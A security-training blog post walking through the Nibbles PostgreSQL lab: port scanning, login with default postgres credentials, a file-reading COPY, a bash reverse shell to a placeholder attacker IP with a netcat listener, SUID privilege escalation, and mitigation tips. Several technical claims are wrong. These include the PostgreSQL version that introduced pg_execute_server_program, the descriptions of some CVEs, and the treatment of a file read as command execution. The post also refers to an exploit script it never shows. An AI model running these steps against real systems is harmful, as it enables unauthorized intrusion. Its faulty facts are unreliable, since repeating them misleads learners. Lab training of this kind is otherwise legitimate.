[Webinar] 3 Transferable Skills You Didn't Know You Needed to Thrive in Cyber - Register now

Blog

Research & Tutorials

Mar 12, 2025

PostgreSQL Exploit

Sharpen your hacking skills! Learn from our walkthrough of a PostgreSQL exploit in the Nibbles machine on PG Practice.

4 min read

A Technical Walkthrough of the Nibbles Machine on PG Practice

PostgreSQL is a widely used open-source relational database management system (RDBMS). While known for its robustness and security features, misconfigurations and outdated versions can introduce vulnerabilities that attackers can exploit. 

In this blog post, we provide a technical walkthrough of exploiting a PostgreSQL vulnerability in the Nibbles machine on PG Practice.

This lab demonstrates exploiting a PostgreSQL server with default credentials and leveraging its misconfigured settings to gain a reverse shell. Learners will escalate privileges by abusing a misconfigured SUID find binary. The lab emphasizes database exploitation, remote command execution, and privilege escalation through SUID misconfigurations.

We will cover:

  • Scanning for PostgreSQL services
  • Exploiting PostgreSQL authentication weaknesses
  • Achieving remote command execution (RCE)
  • Upgrading to a stable shell
  • Privilege escalation strategies
  • Mitigation techniques to secure PostgreSQL instances
  • Real-world examples of PostgreSQL vulnerabilities

Understanding the Target

Before launching any attack, it’s crucial to gather information about the target system. In the Nibbles machine, we identify PostgreSQL as a running service. By scanning open ports and checking the version, we gain insight into possible attack vectors.

Port Scanning and Service Enumeration

  1. Run an initial Nmap scan:
nmap -sV -p- <target-ip>
  1. Identify PostgreSQL service: The scan reveals that PostgreSQL is running on port 5437.
  2. Check PostgreSQL version:
psql -h <target-ip> -p 5437 -U postgres
  1. This step helps determine whether the database is vulnerable to known exploits.

Exploiting PostgreSQL for Initial Access

After confirming the PostgreSQL service, the next step is attempting authentication. Default credentials, such as postgres:postgres, are often left unchanged in misconfigured databases. By testing these credentials, we successfully gain access.

psql -h <target-ip> -p 5437 -U postgres -W

Once authenticated, we aim to execute commands remotely using PostgreSQL’s built-in functionalities.

Remote Command Execution (RCE)

PostgreSQL supports various extensions, some of which can be misused for command execution. One commonly exploited feature is copying commands to a writable directory and executing them:

COPY (SELECT pg_read_file('/etc/passwd')) TO '/tmp/output.txt';

Alternatively, we can use pg_execute_server_program (introduced in PostgreSQL 9.3) for direct command execution.

Real-World PostgreSQL Vulnerabilities

Several CVEs highlight PostgreSQL security risks:

  • CVE-2019-9193: Authentication bypass via a rogue replica.
  • CVE-2022-1552: SQL injection via improperly sanitized queries.
  • CVE-2023-39417: RCE through a crafted trigger function.

Each of these can allow attackers to manipulate the database, exfiltrate sensitive data, or escalate privileges.

Upgrading to a Fully Interactive Shell

Once we have RCE, the next goal is to establish a stable shell. A simple bash one-liner can help achieve this:

/bin/bash -i >& /dev/tcp/<attacker-ip>/4444 0>&1

Steps to Obtain a Shell

  1. Start a Netcat listener on the attack machine:
nc -lvnp 4444
  1. Modify the exploit script: Replace whoami with the reverse shell command.
  2. Execute the exploit: Running the modified script establishes a connection, providing an interactive shell.

A more robust method is using Python for a stable shell:

python3 -c 'import pty; pty.spawn("/bin/bash")'

This ensures the shell supports command history and navigation.

Privilege Escalation via SetUID Binaries

With a foothold on the system, we pivot to privilege escalation. One effective method is identifying SetUID binaries that allow execution as a higher-privileged user.

find / -perm -4000 -type f 2>/dev/null

Common vulnerable binaries include:

  • find: Allows command execution via -exec
  • vim: Can be used to spawn a root shell
  • less: Can escape into a root shell via !sh

If a vulnerable binary is found, we research and exploit it to escalate to root privileges.

Exploiting PostgreSQL User Privileges

PostgreSQL often runs under a dedicated user account. If this account has excessive privileges, attackers can escalate to system-level access. Techniques include:

  • Abusing COPY to overwrite critical system files
  • Leveraging database triggers to execute commands as root
  • Exploiting PostgreSQL extensions like pg_execute_server_program

Advanced PostgreSQL Exploitation Techniques

Beyond basic privilege escalation, attackers can:

  • Use PostgreSQL stored procedures to execute OS commands
  • Create rogue database users with administrative privileges
  • Leverage lateral movement techniques to compromise additional systems
  • Extract sensitive data from database logs and configuration files

Mitigation Strategies

To prevent similar exploits in real-world environments, follow these best practices:

  • Use strong, unique credentials for database accounts.
  • Restrict network access to the PostgreSQL service.
  • Disable unnecessary extensions that allow command execution.
  • Regularly update PostgreSQL to the latest secure version.
  • Implement the principle of least privilege to minimize attack surfaces.
  • Enable logging and monitoring for suspicious database activity.

Hardening PostgreSQL Security

To further secure PostgreSQL:

  1. Disable remote access by setting listen_addresses = 'localhost'.
  2. Use SSL encryption to protect database traffic.
  3. Apply firewall rules to block unauthorized connections.
  4. Monitor system logs for anomalous activity.
  5. Implement role-based access control (RBAC) to limit privilege escalation.

This walkthrough highlights the risks associated with misconfigured PostgreSQL services. By understanding these vulnerabilities and how they are exploited, cybersecurity professionals can better secure their systems.

For more in-depth cybersecurity training and hands-on practice, explore PG Practice labs, where you can refine your penetration testing skills in a controlled environment.

Cybersecurity leader resources

Cybersecurity leader resources

Sign up for the Secure Leader and get the latest info on industry trends, resources and best practices for security leaders every other week

Sign up

Latest from OffSec